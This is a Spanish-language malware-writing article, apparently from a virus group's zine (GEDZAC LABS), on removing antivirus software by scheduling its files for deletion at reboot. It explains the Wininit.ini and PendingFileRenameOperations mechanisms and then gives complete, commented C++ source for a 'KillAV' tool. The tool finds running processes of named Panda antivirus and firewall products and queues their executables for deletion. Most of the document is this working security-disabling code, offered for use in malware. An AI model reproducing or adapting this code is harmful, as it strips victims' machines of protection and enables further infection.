#Eliminar AV al reiniciar
#Autor: MachineDramon
#Este articulo contiene un source
Esta forma de eliminar avs, puede complementar la que se usa terminando el proceso del av y borrandolo, una de sus aplicaciones, puede ser para esos avs y firewalls, que no podemos cerrar de la forma clasica, entonces le decimos a Windows que borre sus ejecutables en el prox. reinicio. Win tiene sus mecanismos para borrar o reemplazar files al siguiente reinicio, en los Win9x y WinME (aunque solo le he probado en Win98, pero en teoria en esas versiones tambien deberia ser asi), win usa un archivo .ini llamado Wininit.ini que se crea en el directorio de windows cuya estructura es màs o menos asi:
[Rename]
c:\RutaNueva\NombreNuevo.exe=c:\RutaVieja\NombreViejo.exe
NUL=c:\ruta\file.exe
Entonces Win al prox reinicio renombrarìa NombreViejo.exe como NombreNuevo.exe y lo colocaria
en C:\RutaNueva\ , Tambien borraria a file.exe
Tanto las rutas como los nombres de archivo deben estar en formato ms-dos, osea 8 caracteres
para nombres de archivos y carpetas y 3 caracteres de extension. En Win2000, WinXP (aunque solo lo he probado en WinXP), en WinNT nose, tal vez sea igual guarda las rutas de los files a mover o eliminar en el reg:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\PendingFileRenameOperations
Donde PendingFileRenameOperations es un tipo REG_MULTI_SZ.
Adjunto hay un code en C++ explicado y un KillAV que elimina varios avs al reinicio,aqui os dejo el source.
#include <windows.h>
#include <tlhelp32.h>
#include <string.h>
#include <stdio.h>
//Como cargaremos algunas apis con GetProcAddress, estas variables nos serviran para
//Almacenar los punteros a esas apis
typedef DWORD (WINAPI *GMF) (HANDLE, HMODULE, LPSTR, DWORD);
typedef DWORD (WINAPI *MVF) (LPSTR, LPSTR, DWORD);
//en el ejemplo se usaran los nombres de los .exe de uno de tantos avs,
//elegido al azar y sin ninguna perferencia. Para almacenar los nombres
//usamos un array de punteros
char *av[12]={"PFWCONF.EXE","PFWSVC.EXE","PAV.EXE","PAVMAIL.EXE",
"PAVSS.EXE","PER.EXE","PERD.EXE","PERTSK.EXE","PERUPD.EXE",
"PERVAC.EXE","PERVACD.EXE","TSKWIZAR.EXE"};
//Esta funcion nos devuelve la version de Win, 1=Win9x,WinME ; 2=WinXP,Win2000
int GetOSVersion()
{
OSVERSIONINFO OSinfo;
OSinfo.dwOSVersionInfoSize=sizeof(OSinfo);
GetVersionEx(&OSinfo);
return OSinfo.dwPlatformId;
}
//si no existe creamos el wininit.ini en el dir de windows y si existe lo reemplazamos
int Ini9x()
{
//obtenemos la ruta del dir de win, y le añadimos \\wininit.ini
char ruta[MAX_PATH], cad[]="[Rename]";
DWORD dw;
GetWindowsDirectory(ruta,sizeof(ruta));
strcat(ruta,"\\wininit.ini");
//creamos el wininit.ini
HANDLE w = CreateFile(ruta,GENERIC_WRITE,FILE_SHARE_READ,0,CREATE_ALWAYS,0,0);
//si error salimos
if (w==INVALID_HANDLE_VALUE) return 0;
//escribimos "[Rename]" en el wininit.ini
WriteFile(w,cad,strlen(cad),&dw,0);
//cerramos el archivo
CloseHandle(w);
return 0;
}
//esta funcion nos dice si el nombre del ejecutable que le pasamos en la cadena ap
//coincide con alguno de los del array de av, regresa 1 si es un av y 0 si no.
bool IsAv(char *ap)
{
//ponemos el argumento a mayusculas, para comparar, porque los nombres
//de avs del array estan en mayusculas
strupr(ap);
/*En caso de que se este usando un array, con más nombres de avs, he ob
servado que algunos de estos nombre dan falsos positivos, no siendo avs
para no eliminarlos, ponemos este if */
//if (strstr(rav,"CTFMON") || strstr(rav,"OPERA") || strstr(rav,"PERFMON") || strstr(rav,"MMTASK") || strstr(rav,"FLASH") || strstr(rav,"[") || strstr(rav,"DDHELP")) { return 0; }
for (int i=0; i<12; i++)
{ if (strstr(ap,av[i])) { return 1; } }
return 0;
}
//esta funcion añade al wininit.ini una ruta de archivo para que sea borrado al
//prox. reinicio
int Kill9x(char *avxe)
{
char ruta[MAX_PATH], dp[MAX_PATH], ap[MAX_PATH]="\r\nNUL=";
DWORD dw, sz;
//obtenemos la ruta del dir de win y le añadimos \wininit.ini
GetWindowsDirectory(ruta,sizeof(ruta));
strcat(ruta,"\\wininit.ini");
//obtenemos la ruta en formato ms-dos del archivo a añadir, GetShortPathName falla
//si se aplica a un archivo que no existe, si estamos combinando esto con la tecnica
//de hacer TerminateProccess y DeleteFile, hacer esto antes del DeleteFile o verificar
//la existencia del archivo antes de llamar a GetShortPathName
if (!GetShortPathName(avxe,dp,sizeof(dp))) return 0;
//obtenemos en ap una cadena tipo: "NUL=c:\ruta\file.exe"
strcat(ap,dp);
//abrimos el wininit.ini con permiso de lectura y escritura
HANDLE wht = CreateFile(ruta,GENERIC_READ | GENERIC_WRITE,FILE_SHARE_READ,0,OPEN_EXISTING,0,0);
//si no error
if (wht!=INVALID_HANDLE_VALUE)
{
//obtenemos el tamaño del wininit.ini
sz = GetFileSize(wht,0);
//obtenemos un puntero a un buffer de memoria suficientemente grande para leerlo
LPSTR wsb = (LPSTR)GlobalAlloc(GPTR,sz+1);
//si no error
if (wsb)
{
//lo leemos
ReadFile(wht,wsb,sz,&dw,0);
//colocamos un nulo al final del buffer para que sea una cadena
wsb[sz]='\0';
//pasamos el buffer y ap a mayusculas para compararlos
strupr(wsb);
strupr(ap);
}
//si el buffer ya contiene a ap, quiere decir que ya habiamos añadido ese .exe
//y no lo volvemos a añadir,(sino tendriamos un wininit.ini excesivamente grande)
//sino esta ap en el buffer, ponemos el filepointer al final del wininit.ini
//y escribimos ap
if (!strstr(wsb,ap))
{
SetFilePointer(wht,0,0,FILE_END);
WriteFile(wht,ap,strlen(ap),&dw,0);
}
//liberamos el buffer
GlobalFree(wsb);
//cerramos el wininit.ini
CloseHandle(wht);
}
return 0;
}
//esta funcion añade la ruta de un file.exe a PendingFileRenameOperations para ser
//eliminado al prox reinicio
int KillNT(char *avxe)
{
//variables
char vacio[]="VACIO";
char *RegSz;
HKEY hKey;
//abrimos llave HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager
DWORD h = RegOpenKeyEx(HKEY_LOCAL_MACHINE,"SYSTEM\\CurrentControlSet\\Control\\Session Manager",0,KEY_QUERY_VALUE,&hKey);
//si no error
if (h==ERROR_SUCCESS)
{
//El tipo REG_MULTI_SZ son varias cadenas separadas por un null, y al final de todas
//las cadenas hay 2 null, como no sabemos cuantos bytes necesitamos para
//leer la key llamamos a RegQueryValueEx sin especificar una variable para el
//retorno del valor de la key, en ese lugar pasamos null(0), en KeySize
//nos devuelve el numero de bytes necesarios para leer la key
DWORD KeySize=0, dwType=REG_MULTI_SZ;
h = RegQueryValueEx(hKey,"PendingFileRenameOperations", 0, &dwType, 0, &KeySize);
//si no hubo error al acceder a la key, quiere decir que ya existe
if (h==ERROR_SUCCESS)
{
//con malloc obtenemos un puntero char del tamaño necesario para leer la key
//si error cerramos la llave y salimos
if ((RegSz=(char *)malloc(KeySize))==NULL) { RegCloseKey(hKey); return 0; }
//leemos los datos de la key
RegQueryValueEx(hKey,"PendingFileRenameOperations", 0, &dwType, (LPBYTE)RegSz, &KeySize);
//quitamos los null intermedios de las cadenas reemplazandolos por espacios
//se resta 2 a KeySize, porque no queremos tocar los 2 ultimos null
for(int i=0;i<(KeySize-2);i++)
if (RegSz[i]=='\0') RegSz[i]=32;
}
//si hubo error al leer la key quiere decir que no existia todavia
else
{
//como vamos a usar RegSz en la comparacion, apuntamos el puntero a la direccion
//de la cadena vacio, para que no este indefinido
RegSz=vacio;
}
//si el buffer apuntado por RegSz ya contiene a avxe entonces ya habiamos añadido
//ese .exe y no lo volvemos a añadir
if(!strstr(RegSz,avxe))
{
//sino cargamos a Kernel32.dll
HMODULE krn = LoadLibrary("KERNEL32.DLL");
//si no error
if (krn)
{
//obtenemos la direccion de MoveFileEx
MVF pMovFil = (MVF)GetProcAddress(krn,"MoveFileExA");
//si no error, usamos MoveFileEx con la bandera MOVEFILE_DELAY_UNTIL_REBOOT
//pasando como 1° argumento la ruta del .exe y como 2° null, para indicar
//que el .exe se debe borrar al prox. reinicio, si se quisiera mover
//en el 2° argumento iria la nueva ruta del file.
//con esto se crea la key PendingFileRenameOperations si no existia o se
//le agrega la ruta del .exe si ya existia
if (pMovFil) { pMovFil(avxe,0,MOVEFILE_DELAY_UNTIL_REBOOT); }
//descargamos la libreria
FreeLibrary(krn);
}
}
//si no hubo error en leer la key liberamos el buffer, que usamos para leerla
if (h==ERROR_SUCCESS) free(RegSz);
//cerramos la llave
RegCloseKey(hKey);
}
return 0;
}
int ListProcess()
{
//creamos una Snapshot de los procesos activos y declaramos una struct PROCESSENTRY32
HANDLE Snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
PROCESSENTRY32 pi;
pi.dwSize=sizeof(PROCESSENTRY32);
//si no hay error Process32First devolvera en la struct pi, los datos del 1º proceso
//de la Snapshot
if(Process32First(Snap,&pi))
{
//este do-while nos ira devolviendo los datos de cada proceso
do
{
//un switch para diferenciar la version de Win
switch(GetOSVersion())
{
//si estamos en Win9x,WinMe
case 1:
//en estamos Win98 el miembro .szExeFile de la struct pi contiene la ruta
//completa del .exe que genera el proceso, como solo queremos el nombre del .exe
//y no la ruta, usamos strrchr() que nos devuelve un puntero desde la primera ocu
//rrencia a partir de la derecha de '\' ,osea si tenemos c:\ruta\file.exe
//devuelve algo como: \file.exe ,si IsAv da True pasamos la ruta del file a
//Kill9x()
if (IsAv(strrchr(pi.szExeFile,'\\'))) Kill9x(pi.szExeFile);
break;
//si estamos en WinXP,Win2000
case 2:
//en WinXP .szExeFile solo contiene el nombre del ejecutable del proceso, entons
//lo mandamos a IsAv defrente, si devuelve True necesitamos la ruta del .exe
if (IsAv(pi.szExeFile))
{
//abrimos el proceso con permisos para obtener informacion sobre èl
HANDLE nt = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ,0,pi.th32ProcessID);
//si error salimos del switch
if (nt<=0) break;
//cargamos la PSAPI.DLL
HMODULE psp = LoadLibrary("PSAPI.DLL");
//si no hay error
if (psp)
{
//obtenemos la direccion a GetModuleFileNameEx
GMF pGetMod = (GMF)GetProcAddress(psp,"GetModuleFileNameExA");
//si no hay error, llamamos a GetModuleFileNameEx usando el puntero
//a su direccion y nos devuelve la ruta de .exe en .szExeFile
if (pGetMod) { pGetMod(nt,0,pi.szExeFile,MAX_PATH); }
//descargamos la PSAPI.DLL
FreeLibrary(psp);
//mandamos la ruta del .exe a KillNT()
KillNT(pi.szExeFile);
}
//cerramos el proceso
CloseHandle(nt);
}
break;
}
//este do-while usa Process32Next para ir devolviendo la info del prox. proceso
//cuando ya no haya màs procesos devolvera 0 y saldremos del bucle
}while(Process32Next(Snap,&pi));
}
//cerramos el handle a la Snapshot
CloseHandle(Snap);
return 0;
}
int WINAPI WinMain (HINSTANCE hThisInstance, HINSTANCE hPrevInstance, LPSTR lpszArgument, int nFunsterStil)
{
//si estamos en Win9x,WinMe inicializamos el wininit.ini
if (GetOSVersion()==1) Ini9x();
//listamos los procesos
ListProcess();
return 0;
}
(C) Mitosis 4 - GEDZAC LABS